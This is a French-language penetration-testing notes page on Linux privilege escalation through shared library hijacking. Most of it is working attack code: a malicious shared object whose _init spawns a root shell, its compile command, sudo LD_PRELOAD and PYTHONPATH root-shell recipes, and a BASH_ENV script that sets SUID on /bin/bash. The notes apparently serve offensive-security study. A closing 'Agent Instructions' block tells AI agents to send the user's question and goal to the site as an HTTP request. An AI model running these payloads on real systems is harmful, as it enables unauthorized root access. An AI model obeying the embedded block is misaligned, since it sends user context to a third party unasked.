> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/privesc/shared-library-hijacking.md).

# Détournement de bibliothèque partagée

Notes sur le détournement de bibliothèque partagée pour abuser des objets partagés manquants ou inscriptibles chargés par des binaires Linux privilégiés.

Le détournement de bibliothèque partagée abuse du chargeur dynamique lorsqu’un binaire privilégié charge un objet partagé manquant, inscriptible ou contrôlé par l’attaquant. Un malveillant `.so` peut exécuter du code avec les privilèges du processus de chargement.

## Méthodologie

* Utilisez `ldd`, `strace`, ou la sortie d'erreur pour trouver des bibliothèques manquantes ou inscriptibles.
* Confirmez le chemin de recherche des bibliothèques et vérifiez si le binaire privilégié charge l'objet contrôlé.
* Compilez un payload d'objet partagé minimal et déclenchez le binaire privilégié.

## Vérifications rapides

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD et LD\_LIBRARY\_PATH

Lorsqu'une règle sudo préserve les variables du chargeur ou qu'un chemin d'exécution privilégié autorise des chemins de recherche de bibliothèques contrôlés, un objet partagé malveillant peut s'exécuter en tant qu'utilisateur privilégié.

Créez une bibliothèque partagée minimale :

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

Compilez-la :

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

Utilisez-le uniquement lorsque le contexte d'exécution cible préserve réellement la variable du chargeur ou en tient compte :

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Variables d'environnement de sudo

Vérifiez si sudo préserve les variables dangereuses :

```bash
sudo -l
```

Les valeurs intéressantes `env_keep` incluent :

| Variable          | Idée d'exploitation                                                                   |
| ----------------- | ------------------------------------------------------------------------------------- |
| `LD_PRELOAD`      | Chargez un objet partagé malveillant avant les bibliothèques normales.                |
| `LD_LIBRARY_PATH` | Redirigez la recherche de bibliothèques vers des chemins contrôlés par l'attaquant.   |
| `PATH`            | Forcez l'exécution relative des commandes via des binaires contrôlés par l'attaquant. |
| `PYTHONPATH`      | Chargez des modules Python malveillants dans du code Python exécuté via sudo.         |
| `PERL5LIB`        | Chargez des modules Perl malveillants dans du code Perl exécuté via sudo.             |

### Exemple PYTHONPATH

Si une règle sudo exécute Python et préserve `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### Exemple BASH\_ENV

Si un programme privilégié exécute `sh` d'une manière qui charge `BASH_ENV`, testez avec un script contrôlé :

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>Détournement de bibliothèque partagée libwelcome.so</h4></td><td>Notes sur le détournement de bibliothèque partagée (libwelcome.so) pour l'escalade de privilèges sous Linux, avec des étapes d'énumération, des exemples d'exploitation et une validation axée sur le signalement.</td><td><a href="/fr/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md">Détournement de bibliothèque partagée libwelcome.so - Élévation de privilèges Linux</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/privesc/shared-library-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
